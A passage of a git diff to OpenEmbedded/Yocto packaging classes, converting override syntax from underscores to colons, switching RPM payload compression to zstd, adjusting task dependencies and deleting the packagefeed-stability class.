add_dep(rdeps, dep)
pkg_addrrecs(pkg, base, suffix, func, rdeps, d)
}
# Since bitbake can't determine which variables are accessed during package
# iteration, we need to list them here:
-PACKAGEVARS = "FILES RDEPENDS RRECOMMENDS SUMMARY DESCRIPTION RSUGGESTS RPROVIDES RCONFLICTS PKG ALLOW_EMPTY pkg_postinst pkg_postrm pkg_postinst_ontarget INITSCRIPT_NAME INITSCRIPT_PARAMS DEBIAN_NOAUTONAME ALTERNATIVE PKGE PKGV PKGR USERADD_PARAM GROUPADD_PARAM CONFFILES SYSTEMD_SERVICE LICENSE SECTION pkg_preinst pkg_prerm RREPLACES GROUPMEMS_PARAM SYSTEMD_AUTO_ENABLE SKIP_FILEDEPS PRIVATE_LIBS"
+PACKAGEVARS = "FILES RDEPENDS RRECOMMENDS SUMMARY DESCRIPTION RSUGGESTS RPROVIDES RCONFLICTS PKG ALLOW_EMPTY pkg_postinst pkg_postrm pkg_postinst_ontarget INITSCRIPT_NAME INITSCRIPT_PARAMS DEBIAN_NOAUTONAME ALTERNATIVE PKGE PKGV PKGR USERADD_PARAM GROUPADD_PARAM CONFFILES SYSTEMD_SERVICE LICENSE SECTION pkg_preinst pkg_prerm RREPLACES GROUPMEMS_PARAM SYSTEMD_AUTO_ENABLE SKIP_FILEDEPS PRIVATE_LIBS PACKAGE_ADD_METADATA"
-def gen_packagevar(d):
+def gen_packagevar(d, pkgvars="PACKAGEVARS"):
ret = []
pkgs = (d.getVar("PACKAGES") or "").split()
- vars = (d.getVar("PACKAGEVARS") or "").split()
+ vars = (d.getVar(pkgvars) or "").split()
+ for v in vars:
+ ret.append(v)
for p in pkgs:
for v in vars:
- ret.append(v + "_" + p)
+ ret.append(v + ":" + p)
# Ensure that changes to INCOMPATIBLE_LICENSE re-run do_package for
# affected recipes.
- ret.append('LICENSE_EXCLUSION-%s' % p)
+ ret.append('_exclude_incompatible-%s' % p)
return " ".join(ret)
PACKAGE_PREPROCESS_FUNCS ?= ""
@@ -2152,7 +2385,7 @@ python do_package () {
# cache. This is useful if an item this class depends on changes in a
# way that the output of this class changes. rpmdeps is a good example
# as any change to rpmdeps requires this to be rerun.
- # PACKAGE_BBCLASS_VERSION = "2"
+ # PACKAGE_BBCLASS_VERSION = "4"
# Init cachedpath
global cpath
@@ -2175,10 +2408,10 @@ python do_package () {
if not workdir or not outdir or not dest or not dvar or not pn:
msg = "WORKDIR, DEPLOY_DIR, D, PN and PKGD all must be defined, unable to package"
- package_qa_handle_error("var-undefined", msg, d)
+ oe.qa.handle_error("var-undefined", msg, d)
return
- bb.build.exec_func("package_get_auto_pr", d)
+ bb.build.exec_func("package_convert_pr_autoinc", d)
###########################################################################
# Optimisations
@@ -2228,12 +2461,10 @@ python do_package () {
for f in (d.getVar('PACKAGEFUNCS') or '').split():
bb.build.exec_func(f, d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.exit_if_errors(d)
}
-do_package[dirs] = "${SHLIBSWORKDIR} ${PKGDESTWORK} ${D}"
+do_package[dirs] = "${SHLIBSWORKDIR} ${D}"
do_package[vardeps] += "${PACKAGEBUILDPKGD} ${PACKAGESPLITFUNCS} ${PACKAGEFUNCS} ${@gen_packagevar(d)}"
addtask package after do_install
@@ -2250,9 +2481,21 @@ addtask do_package_setscene
# Copy from PKGDESTWORK to tempdirectory as tempdirectory can be cleaned at both
# do_package_setscene and do_packagedata_setscene leading to races
python do_packagedata () {
+ bb.build.exec_func("package_get_auto_pr", d)
+
src = d.expand("${PKGDESTWORK}")
dest = d.expand("${WORKDIR}/pkgdata-pdata-input")
oe.path.copyhardlinktree(src, dest)
+
+ bb.build.exec_func("packagedata_translate_pr_autoinc", d)
+}
+do_packagedata[cleandirs] += "${WORKDIR}/pkgdata-pdata-input"
+
+# Translate the EXTENDPRAUTO and AUTOINC to the final values
+packagedata_translate_pr_autoinc() {
+ find ${WORKDIR}/pkgdata-pdata-input -type f | xargs --no-run-if-empty \
+ sed -e 's,@PRSERV_PV_AUTOINC@,${PRSERV_PV_AUTOINC},g' \
+ -e 's,@EXTENDPRAUTO@,${EXTENDPRAUTO},g' -i
}
addtask packagedata before do_build after do_package
diff --git a/meta/classes/package_deb.bbclass b/meta/classes/package_deb.bbclass
index 790b26aef2..2e75e222bc 100644
--- a/meta/classes/package_deb.bbclass
+++ b/meta/classes/package_deb.bbclass
@@ -81,7 +81,7 @@ def deb_write_pkg(pkg, d):
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -283,8 +283,9 @@ def deb_write_pkg(pkg, d):
# Otherwise allarch packages may change depending on override configuration
deb_write_pkg[vardepsexclude] = "OVERRIDES"
-# Indirect references to these vars
-do_package_write_deb[vardeps] += "PKGV PKGR PKGV DESCRIPTION SECTION PRIORITY MAINTAINER DPKG_ARCH PN HOMEPAGE"
+# Have to list any variables referenced as X_<pkg> that aren't in pkgdata here
+DEBEXTRAVARS = "PKGV PKGR PKGV DESCRIPTION SECTION PRIORITY MAINTAINER DPKG_ARCH PN HOMEPAGE PACKAGE_ADD_METADATA_DEB"
+do_package_write_deb[vardeps] += "${@gen_packagevar(d, 'DEBEXTRAVARS')}"
SSTATETASKS += "do_package_write_deb"
do_package_write_deb[sstate-inputdirs] = "${PKGWRITEDIRDEB}"
@@ -313,12 +314,9 @@ python do_package_write_deb () {
}
do_package_write_deb[dirs] = "${PKGWRITEDIRDEB}"
do_package_write_deb[cleandirs] = "${PKGWRITEDIRDEB}"
-do_package_write_deb[umask] = "022"
do_package_write_deb[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_deb after do_packagedata do_package
-
+addtask package_write_deb after do_packagedata do_package do_deploy_source_date_epoch before do_build
+do_build[rdeptask] += "do_package_write_deb"
PACKAGEINDEXDEPS += "dpkg-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "apt-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_deb"
diff --git a/meta/classes/package_ipk.bbclass b/meta/classes/package_ipk.bbclass
index 9f9da2f91d..f67cb0e5c9 100644
--- a/meta/classes/package_ipk.bbclass
+++ b/meta/classes/package_ipk.bbclass
@@ -4,6 +4,7 @@ IMAGE_PKGTYPE ?= "ipk"
IPKGCONF_TARGET = "${WORKDIR}/opkg.conf"
IPKGCONF_SDK = "${WORKDIR}/opkg-sdk.conf"
+IPKGCONF_SDK_TARGET = "${WORKDIR}/opkg-sdk-target.conf"
PKGWRITEDIRIPK = "${WORKDIR}/deploy-ipks"
@@ -45,6 +46,7 @@ def ipk_write_pkg(pkg, d):
import subprocess
import textwrap
import collections
+ import glob
def cleanupcontrol(root):
for p in ['CONTROL', 'DEBIAN']:
@@ -63,7 +65,7 @@ def ipk_write_pkg(pkg, d):
try:
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -101,8 +103,7 @@ def ipk_write_pkg(pkg, d):
bb.utils.mkdirhier(pkgoutdir)
os.chdir(root)
cleanupcontrol(root)
- from glob import glob
- g = glob('*')
+ g = glob.glob('*')
if not g and localdata.getVar('ALLOW_EMPTY', False) != "1":
bb.note("Not creating empty archive for %s-%s-%s" % (pkg, localdata.getVar('PKGV'), localdata.getVar('PKGR')))
return
@@ -154,7 +155,6 @@ def ipk_write_pkg(pkg, d):
ctrlfile.write('%s\n' % textwrap.fill(description, width=74, initial_indent=' ', subsequent_indent=' '))
else:
ctrlfile.write(c % tuple(pullData(fs, localdata)))
- # more fields
custom_fields_chunk = get_package_additional_metadata("ipk", localdata)
if custom_fields_chunk is not None:
@@ -230,14 +230,18 @@ def ipk_write_pkg(pkg, d):
shell=True)
if d.getVar('IPK_SIGN_PACKAGES') == '1':
- ipkver = "%s-%s" % (d.getVar('PKGV'), d.getVar('PKGR'))
- ipk_to_sign = "%s/%s_%s_%s.ipk" % (pkgoutdir, pkgname, ipkver, d.getVar('PACKAGE_ARCH'))
+ ipkver = "%s-%s" % (localdata.getVar('PKGV'), localdata.getVar('PKGR'))
+ ipk_to_sign = "%s/%s_%s_%s.ipk" % (pkgoutdir, pkgname, ipkver, localdata.getVar('PACKAGE_ARCH'))
sign_ipk(d, ipk_to_sign)
finally:
cleanupcontrol(root)
bb.utils.unlockfile(lf)
+# Have to list any variables referenced as X_<pkg> that aren't in pkgdata here
+IPKEXTRAVARS = "PRIORITY MAINTAINER PACKAGE_ARCH HOMEPAGE PACKAGE_ADD_METADATA_IPK"
+ipk_write_pkg[vardeps] += "${@gen_packagevar(d, 'IPKEXTRAVARS')}"
+
# Otherwise allarch packages may change depending on override configuration
ipk_write_pkg[vardepsexclude] = "OVERRIDES"
@@ -269,11 +273,9 @@ python do_package_write_ipk () {
}
do_package_write_ipk[dirs] = "${PKGWRITEDIRIPK}"
do_package_write_ipk[cleandirs] = "${PKGWRITEDIRIPK}"
-do_package_write_ipk[umask] = "022"
do_package_write_ipk[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_ipk after do_packagedata do_package
+addtask package_write_ipk after do_packagedata do_package do_deploy_source_date_epoch before do_build
+do_build[rdeptask] += "do_package_write_ipk"
PACKAGEINDEXDEPS += "opkg-utils-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "opkg-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_ipk"
diff --git a/meta/classes/package_pkgdata.bbclass b/meta/classes/package_pkgdata.bbclass
index 18b7ed62e0..a1ea8fc041 100644
--- a/meta/classes/package_pkgdata.bbclass
+++ b/meta/classes/package_pkgdata.bbclass
@@ -162,6 +162,6 @@ python package_prepare_pkgdata() {
}
package_prepare_pkgdata[cleandirs] = "${WORKDIR_PKGDATA}"
-package_prepare_pkgdata[vardepsexclude] += "MACHINE_ARCH PACKAGE_EXTRA_ARCHS SDK_ARCH BUILD_ARCH SDK_OS BB_TASKDEPDATA"
+package_prepare_pkgdata[vardepsexclude] += "MACHINE_ARCH PACKAGE_EXTRA_ARCHS SDK_ARCH BUILD_ARCH SDK_OS BB_TASKDEPDATA SSTATETASKS"
diff --git a/meta/classes/package_rpm.bbclass b/meta/classes/package_rpm.bbclass
index 9145717f98..e9ff1f7e65 100644
--- a/meta/classes/package_rpm.bbclass
+++ b/meta/classes/package_rpm.bbclass
@@ -40,10 +40,10 @@ def write_rpm_perfiledata(srcname, d):
outfile.write("# Dependency table\n")
outfile.write('deps = {\n')
for pkg in packages.split():
- dependsflist_key = 'FILE' + varname + 'FLIST' + "_" + pkg
+ dependsflist_key = 'FILE' + varname + 'FLIST' + ":" + pkg
dependsflist = (d.getVar(dependsflist_key) or "")
for dfile in dependsflist.split():
- key = "FILE" + varname + "_" + dfile + "_" + pkg
+ key = "FILE" + varname + ":" + dfile + ":" + pkg
deps = filter_nativesdk_deps(srcname, d.getVar(key) or "")
depends_dict = bb.utils.explode_dep_versions(deps)
file = dfile.replace("@underscore@", "_")
@@ -249,10 +249,10 @@ python write_specfile () {
def get_perfile(varname, pkg, d):
deps = []
- dependsflist_key = 'FILE' + varname + 'FLIST' + "_" + pkg
+ dependsflist_key = 'FILE' + varname + 'FLIST' + ":" + pkg
dependsflist = (d.getVar(dependsflist_key) or "")
for dfile in dependsflist.split():
- key = "FILE" + varname + "_" + dfile + "_" + pkg
+ key = "FILE" + varname + ":" + dfile + ":" + pkg
depends = d.getVar(key)
if depends:
deps.append(depends)
@@ -286,25 +286,27 @@ python write_specfile () {
# Construct the SPEC file...
srcname = d.getVar('PN')
- srcsummary = (d.getVar('SUMMARY') or d.getVar('DESCRIPTION') or ".")
- srcversion = d.getVar('PKGV').replace('-', '+')
- srcrelease = d.getVar('PKGR')
- srcepoch = (d.getVar('PKGE') or "")
- srclicense = d.getVar('LICENSE')
- srcsection = d.getVar('SECTION')
- srcmaintainer = d.getVar('MAINTAINER')
- srchomepage = d.getVar('HOMEPAGE')
- srcdescription = d.getVar('DESCRIPTION') or "."
- srccustomtagschunk = get_package_additional_metadata("rpm", d)
+ localdata = bb.data.createCopy(d)
+ localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + srcname)
+ srcsummary = (localdata.getVar('SUMMARY') or localdata.getVar('DESCRIPTION') or ".")
+ srcversion = localdata.getVar('PKGV').replace('-', '+')
+ srcrelease = localdata.getVar('PKGR')
+ srcepoch = (localdata.getVar('PKGE') or "")
+ srclicense = localdata.getVar('LICENSE')
+ srcsection = localdata.getVar('SECTION')
+ srcmaintainer = localdata.getVar('MAINTAINER')
+ srchomepage = localdata.getVar('HOMEPAGE')
+ srcdescription = localdata.getVar('DESCRIPTION') or "."
+ srccustomtagschunk = get_package_additional_metadata("rpm", localdata)
srcdepends = d.getVar('DEPENDS')
- srcrdepends = []
- srcrrecommends = []
- srcrsuggests = []
- srcrprovides = []
- srcrreplaces = []
- srcrconflicts = []
- srcrobsoletes = []
+ srcrdepends = ""
+ srcrrecommends = ""
+ srcrsuggests = ""
+ srcrprovides = ""
+ srcrreplaces = ""
+ srcrconflicts = ""
+ srcrobsoletes = ""
srcrpreinst = []
srcrpostinst = []
@@ -330,7 +332,7 @@ python write_specfile () {
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -363,13 +365,13 @@ python write_specfile () {
# Map the dependencies into their final form
mapping_rename_hook(localdata)
- splitrdepends = localdata.getVar('RDEPENDS')
- splitrrecommends = localdata.getVar('RRECOMMENDS')
- splitrsuggests = localdata.getVar('RSUGGESTS')
- splitrprovides = localdata.getVar('RPROVIDES')
- splitrreplaces = localdata.getVar('RREPLACES')
- splitrconflicts = localdata.getVar('RCONFLICTS')
- splitrobsoletes = []
+ splitrdepends = localdata.getVar('RDEPENDS') or ""
+ splitrrecommends = localdata.getVar('RRECOMMENDS') or ""
+ splitrsuggests = localdata.getVar('RSUGGESTS') or ""
+ splitrprovides = localdata.getVar('RPROVIDES') or ""
+ splitrreplaces = localdata.getVar('RREPLACES') or ""
+ splitrconflicts = localdata.getVar('RCONFLICTS') or ""
+ splitrobsoletes = ""
splitrpreinst = localdata.getVar('pkg_preinst')
splitrpostinst = localdata.getVar('pkg_postinst')
@@ -437,9 +439,9 @@ python write_specfile () {
spec_preamble_bottom.append(splitcustomtagschunk)
# Replaces == Obsoletes && Provides
- robsoletes = bb.utils.explode_dep_versions2(splitrobsoletes or "")
- rprovides = bb.utils.explode_dep_versions2(splitrprovides or "")
- rreplaces = bb.utils.explode_dep_versions2(splitrreplaces or "")
+ robsoletes = bb.utils.explode_dep_versions2(splitrobsoletes)
+ rprovides = bb.utils.explode_dep_versions2(splitrprovides)
+ rreplaces = bb.utils.explode_dep_versions2(splitrreplaces)
for dep in rreplaces:
if not dep in robsoletes:
robsoletes[dep] = rreplaces[dep]
@@ -531,9 +533,9 @@ python write_specfile () {
tail_source(d)
# Replaces == Obsoletes && Provides
- robsoletes = bb.utils.explode_dep_versions2(srcrobsoletes or "")
- rprovides = bb.utils.explode_dep_versions2(srcrprovides or "")
- rreplaces = bb.utils.explode_dep_versions2(srcrreplaces or "")
+ robsoletes = bb.utils.explode_dep_versions2(srcrobsoletes)
+ rprovides = bb.utils.explode_dep_versions2(srcrprovides)
+ rreplaces = bb.utils.explode_dep_versions2(srcrreplaces)
for dep in rreplaces:
if not dep in robsoletes:
robsoletes[dep] = rreplaces[dep]
@@ -555,7 +557,7 @@ python write_specfile () {
print_deps(srcrrecommends, "Recommends", spec_preamble_top, d)
print_deps(srcrsuggests, "Suggests", spec_preamble_top, d)
- print_deps(srcrprovides + (" /bin/sh" if srcname.startswith("nativesdk-") else ""), "Provides", spec_preamble_top, d)
+ print_deps(srcrprovides, "Provides", spec_preamble_top, d)
print_deps(srcrobsoletes, "Obsoletes", spec_preamble_top, d)
print_deps(srcrconflicts, "Conflicts", spec_preamble_top, d)
@@ -621,6 +623,10 @@ python write_specfile () {
# Otherwise allarch packages may change depending on override configuration
write_specfile[vardepsexclude] = "OVERRIDES"
+# Have to list any variables referenced as X_<pkg> that aren't in pkgdata here
+RPMEXTRAVARS = "PACKAGE_ADD_METADATA_RPM"
+write_specfile[vardeps] += "${@gen_packagevar(d, 'RPMEXTRAVARS')}"
+
python do_package_rpm () {
workdir = d.getVar('WORKDIR')
tmpdir = d.getVar('TMPDIR')
@@ -678,10 +684,12 @@ python do_package_rpm () {
cmd = cmd + " --define '_use_internal_dependency_generator 0'"
cmd = cmd + " --define '_binaries_in_noarch_packages_terminate_build 0'"
cmd = cmd + " --define '_build_id_links none'"
- cmd = cmd + " --define '_binary_payload w6T.xzdio'"
- cmd = cmd + " --define '_source_payload w6T.xzdio'"
+ cmd = cmd + " --define '_binary_payload w19T%d.zstdio'" % int(d.getVar("ZSTD_THREADS"))
+ cmd = cmd + " --define '_source_payload w19T%d.zstdio'" % int(d.getVar("ZSTD_THREADS"))
cmd = cmd + " --define 'clamp_mtime_to_source_date_epoch 1'"
+ cmd = cmd + " --define 'use_source_date_epoch_as_buildtime 1'"
cmd = cmd + " --define '_buildhost reproducible'"
+ cmd = cmd + " --define '__font_provides %{nil}'"
if perfiledeps:
cmd = cmd + " --define '__find_requires " + outdepends + "'"
cmd = cmd + " --define '__find_provides " + outprovides + "'"
@@ -739,11 +747,9 @@ python do_package_write_rpm () {
do_package_write_rpm[dirs] = "${PKGWRITEDIRRPM}"
do_package_write_rpm[cleandirs] = "${PKGWRITEDIRRPM}"
-do_package_write_rpm[umask] = "022"
do_package_write_rpm[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_rpm after do_packagedata do_package
+addtask package_write_rpm after do_packagedata do_package do_deploy_source_date_epoch before do_build
+do_build[rdeptask] += "do_package_write_rpm"
PACKAGEINDEXDEPS += "rpm-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "createrepo-c-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_rpm"
diff --git a/meta/classes/package_tar.bbclass b/meta/classes/package_tar.bbclass
index ce3ab4c8e2..d6c1b306fc 100644
--- a/meta/classes/package_tar.bbclass
+++ b/meta/classes/package_tar.bbclass
@@ -57,10 +57,8 @@ python do_package_tar () {
python () {
if d.getVar('PACKAGES') != '':
- deps = (d.getVarFlag('do_package_write_tar', 'depends') or "").split()
- deps.append('tar-native:do_populate_sysroot')
- deps.append('virtual/fakeroot-native:do_populate_sysroot')
- d.setVarFlag('do_package_write_tar', 'depends', " ".join(deps))
+ deps = ' tar-native:do_populate_sysroot virtual/fakeroot-native:do_populate_sysroot'
+ d.appendVarFlag('do_package_write_tar', 'depends', deps)
d.setVarFlag('do_package_write_tar', 'fakeroot', "1")
}
diff --git a/meta/classes/packagedata.bbclass b/meta/classes/packagedata.bbclass
index a903e5cfd2..c2760e2bf0 100644
--- a/meta/classes/packagedata.bbclass
+++ b/meta/classes/packagedata.bbclass
@@ -24,10 +24,10 @@ python read_subpackage_metadata () {
continue
#
# If we set unsuffixed variables here there is a chance they could clobber override versions
- # of that variable, e.g. DESCRIPTION could clobber DESCRIPTION_<pkgname>
+ # of that variable, e.g. DESCRIPTION could clobber DESCRIPTION:<pkgname>
# We therefore don't clobber for the unsuffixed variable versions
#
- if key.endswith("_" + pkg):
+ if key.endswith(":" + pkg):
d.setVar(key, sdata[key])
else:
d.setVar(key, sdata[key], parsing=True)
diff --git a/meta/classes/packagefeed-stability.bbclass b/meta/classes/packagefeed-stability.bbclass
deleted file mode 100644
index 5648602564..0000000000
--- a/meta/classes/packagefeed-stability.bbclass
+++ /dev/null
@@ -1,252 +0,0 @@
-# Class to avoid copying packages into the feed if they haven't materially changed
-#
-# Copyright (C) 2015 Intel Corporation
-# Released under the MIT license (see COPYING.MIT for details)
-#
-# This class effectively intercepts packages as they are written out by
-# do_package_write_*, causing them to be written into a different
-# directory where we can compare them to whatever older packages might
-# be in the "real" package feed directory, and avoid copying the new
-# package to the feed if it has not materially changed. The idea is to
-# avoid unnecessary churn in the packages when dependencies trigger task
-# reexecution (and thus repackaging). Enabling the class is simple:
-#
-# INHERIT += "packagefeed-stability"
-#
-# Caveats:
-# 1) Latest PR values in the build system may not match those in packages
-# seen on the target (naturally)
-# 2) If you rebuild from sstate without the existing package feed present,
-# you will lose the "state" of the package feed i.e. the preserved old
-# package versions. Not the end of the world, but would negate the
-# entire purpose of this class.
-#
-# Note that running -c cleanall on a recipe will purposely delete the old
-# package files so they will definitely be copied the next time.
-
-python() {
- if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d):
- return
- # Package backend agnostic intercept
- # This assumes that the package_write task is called package_write_<pkgtype>
- # and that the directory in which packages should be written is
- # pointed to by the variable DEPLOY_DIR_<PKGTYPE>
- for pkgclass in (d.getVar('PACKAGE_CLASSES') or '').split():
- if pkgclass.startswith('package_'):
- pkgtype = pkgclass.split('_', 1)[1]
- pkgwritefunc = 'do_package_write_%s' % pkgtype
- sstate_outputdirs = d.getVarFlag(pkgwritefunc, 'sstate-outputdirs', False)
- deploydirvar = 'DEPLOY_DIR_%s' % pkgtype.upper()
- deploydirvarref = '${' + deploydirvar + '}'
- pkgcomparefunc = 'do_package_compare_%s' % pkgtype
-
- if bb.data.inherits_class('image', d):
- d.appendVarFlag('do_rootfs', 'recrdeptask', ' ' + pkgcomparefunc)
-
- if bb.data.inherits_class('populate_sdk_base', d):
- d.appendVarFlag('do_populate_sdk', 'recrdeptask', ' ' + pkgcomparefunc)
-
- if bb.data.inherits_class('populate_sdk_ext', d):
- d.appendVarFlag('do_populate_sdk_ext', 'recrdeptask', ' ' + pkgcomparefunc)
-
- d.appendVarFlag('do_build', 'recrdeptask', ' ' + pkgcomparefunc)
-
- if d.getVarFlag(pkgwritefunc, 'noexec') or not d.getVarFlag(pkgwritefunc, 'task'):
- # Packaging is disabled for this recipe, we shouldn't do anything
- continue
-
- if deploydirvarref in sstate_outputdirs:
- deplor_dir_pkgtype = d.expand(deploydirvarref + '-prediff')
- # Set intermediate output directory
- d.setVarFlag(pkgwritefunc, 'sstate-outputdirs', sstate_outputdirs.replace(deploydirvarref, deplor_dir_pkgtype))
- # Update SSTATE_DUPWHITELIST to avoid shared location conflicted error
- d.appendVar('SSTATE_DUPWHITELIST', ' %s' % deplor_dir_pkgtype)
-
- d.setVar(pkgcomparefunc, d.getVar('do_package_compare', False))
- d.setVarFlags(pkgcomparefunc, d.getVarFlags('do_package_compare', False))
- d.appendVarFlag(pkgcomparefunc, 'depends', ' build-compare-native:do_populate_sysroot')
- bb.build.addtask(pkgcomparefunc, 'do_build', 'do_packagedata ' + pkgwritefunc, d)
-}
-
-# This isn't the real task function - it's a template that we use in the
-# anonymous python code above
-fakeroot python do_package_compare () {
- currenttask = d.getVar('BB_CURRENTTASK')
- pkgtype = currenttask.rsplit('_', 1)[1]
- package_compare_impl(pkgtype, d)
-}
-
-def package_compare_impl(pkgtype, d):
- import errno
- import fnmatch
- import glob
- import subprocess
- import oe.sstatesig
-
- pn = d.getVar('PN')
- deploydir = d.getVar('DEPLOY_DIR_%s' % pkgtype.upper())
- prepath = deploydir + '-prediff/'
-
- # Find out PKGR values are
- pkgdatadir = d.getVar('PKGDATA_DIR')
- packages = []
- try:
- with open(os.path.join(pkgdatadir, pn), 'r') as f:
- for line in f:
- if line.startswith('PACKAGES:'):
- packages = line.split(':', 1)[1].split()
- break
- except IOError as e:
- if e.errno == errno.ENOENT:
- pass
-
- if not packages:
- bb.debug(2, '%s: no packages, nothing to do' % pn)
- return
-
- pkgrvalues = {}
- rpkgnames = {}
- rdepends = {}
- pkgvvalues = {}
- for pkg in packages:
- with open(os.path.join(pkgdatadir, 'runtime', pkg), 'r') as f:
- for line in f:
- if line.startswith('PKGR:'):
- pkgrvalues[pkg] = line.split(':', 1)[1].strip()
- if line.startswith('PKGV:'):
- pkgvvalues[pkg] = line.split(':', 1)[1].strip()
- elif line.startswith('PKG_%s:' % pkg):
- rpkgnames[pkg] = line.split(':', 1)[1].strip()
- elif line.startswith('RDEPENDS_%s:' % pkg):
- rdepends[pkg] = line.split(':', 1)[1].strip()
-
- # Prepare a list of the runtime package names for packages that were
- # actually produced
- rpkglist = []
- for pkg, rpkg in rpkgnames.items():
- if os.path.exists(os.path.join(pkgdatadir, 'runtime', pkg + '.packaged')):
- rpkglist.append((rpkg, pkg))
- rpkglist.sort(key=lambda x: len(x[0]), reverse=True)
-
- pvu = d.getVar('PV', False)
- if '$' + '{SRCPV}' in pvu:
- pvprefix = pvu.split('$' + '{SRCPV}', 1)[0]
- else:
- pvprefix = None
-
- pkgwritetask = 'package_write_%s' % pkgtype
- files = []
- docopy = False
- manifest, _ = oe.sstatesig.sstate_get_manifest_filename(pkgwritetask, d)
- mlprefix = d.getVar('MLPREFIX')
- # Copy recipe's all packages if one of the packages are different to make
- # they have the same PR.
- with open(manifest, 'r') as f:
- for line in f:
- if line.startswith(prepath):
- srcpath = line.rstrip()
- if os.path.isfile(srcpath):
- destpath = os.path.join(deploydir, os.path.relpath(srcpath, prepath))
-
- # This is crude but should work assuming the output
- # package file name starts with the package name
- # and rpkglist is sorted by length (descending)
- pkgbasename = os.path.basename(destpath)
- pkgname = None
- for rpkg, pkg in rpkglist:
- if mlprefix and pkgtype == 'rpm' and rpkg.startswith(mlprefix):
- rpkg = rpkg[len(mlprefix):]
- if pkgbasename.startswith(rpkg):
- pkgr = pkgrvalues[pkg]
- destpathspec = destpath.replace(pkgr, '*')
- if pvprefix:
- pkgv = pkgvvalues[pkg]
- if pkgv.startswith(pvprefix):
- pkgvsuffix = pkgv[len(pvprefix):]
- if '+' in pkgvsuffix:
- newpkgv = pvprefix + '*+' + pkgvsuffix.split('+', 1)[1]
- destpathspec = destpathspec.replace(pkgv, newpkgv)
- pkgname = pkg
- break
- else:
- bb.warn('Unable to map %s back to package' % pkgbasename)
- destpathspec = destpath
-
- oldfile = None
- if not docopy:
- oldfiles = glob.glob(destpathspec)
- if oldfiles:
- oldfile = oldfiles[-1]
- result = subprocess.call(['pkg-diff.sh', oldfile, srcpath])
- if result != 0:
- docopy = True
- bb.note("%s and %s are different, will copy packages" % (oldfile, srcpath))
- else:
- docopy = True
- bb.note("No old packages found for %s, will copy packages" % pkgname)
-
- files.append((pkgname, pkgbasename, srcpath, destpath))
-
- # Remove all the old files and copy again if docopy
- if docopy:
- bb.note('Copying packages for recipe %s' % pn)
- pcmanifest = os.path.join(prepath, d.expand('pkg-compare-manifest-${MULTIMACH_TARGET_SYS}-${PN}'))
- try:
- with open(pcmanifest, 'r') as f:
- for line in f:
- fn = line.rstrip()
- if fn:
- try:
- os.remove(fn)
- bb.note('Removed old package %s' % fn)
- except OSError as e:
- if e.errno == errno.ENOENT:
- pass
- except IOError as e:
- if e.errno == errno.ENOENT:
- pass
-
- # Create new manifest
- with open(pcmanifest, 'w') as f:
- for pkgname, pkgbasename, srcpath, destpath in files:
- destdir = os.path.dirname(destpath)
- bb.utils.mkdirhier(destdir)
- # Remove allarch rpm pkg if it is already existed (for
- # multilib), they're identical in theory, but sstate.bbclass
- # copies it again, so keep align with that.
- if os.path.exists(destpath) and pkgtype == 'rpm' \
- and d.getVar('PACKAGE_ARCH') == 'all':
- os.unlink(destpath)
- if (os.stat(srcpath).st_dev == os.stat(destdir).st_dev):
- # Use a hard link to save space
- os.link(srcpath, destpath)
- else:
- shutil.copyfile(srcpath, destpath)
- f.write('%s\n' % destpath)
- else:
- bb.note('Not copying packages for recipe %s' % pn)
-
-do_cleansstate[postfuncs] += "pfs_cleanpkgs"
-python pfs_cleanpkgs () {
- import errno
- for pkgclass in (d.getVar('PACKAGE_CLASSES') or '').split():
- if pkgclass.startswith('package_'):
- pkgtype = pkgclass.split('_', 1)[1]
- deploydir = d.getVar('DEPLOY_DIR_%s' % pkgtype.upper())
- prepath = deploydir + '-prediff'
- pcmanifest = os.path.join(prepath, d.expand('pkg-compare-manifest-${MULTIMACH_TARGET_SYS}-${PN}'))
- try:
- with open(pcmanifest, 'r') as f:
- for line in f:
- fn = line.rstrip()
- if fn:
- try:
- os.remove(fn)
- except OSError as e:
- if e.errno == errno.ENOENT:
- pass
- os.remove(pcmanifest)
- except IOError as e:
- if e.errno == errno.ENOENT:
- pass
-}
diff --git a/meta/classes/packagegroup.bbclass b/meta/classes/packagegroup.bbclass
index 1541c8fbff..557b1b6382 100644
--- a/meta/classes/packagegroup.bbclass
+++ b/meta/classes/packagegroup.bbclass
@@ -32,7 +32,7 @@ python () {
for suffix in types]
d.setVar('PACKAGES', ' '.join(packages))
for pkg in packages:
- d.setVar('ALLOW_EMPTY_%s' % pkg, '1')
+ d.setVar('ALLOW_EMPTY:%s' % pkg, '1')
}
# We don't want to look at shared library dependencies for the
diff --git a/meta/classes/patch.bbclass b/meta/classes/patch.bbclass
index cd241f1c84..8de7025491 100644
--- a/meta/classes/patch.bbclass
+++ b/meta/classes/patch.bbclass
@@ -5,6 +5,13 @@ QUILTRCFILE ?= "${STAGING_ETCDIR_NATIVE}/quiltrc"
PATCHDEPENDENCY = "${PATCHTOOL}-native:do_populate_sysroot"
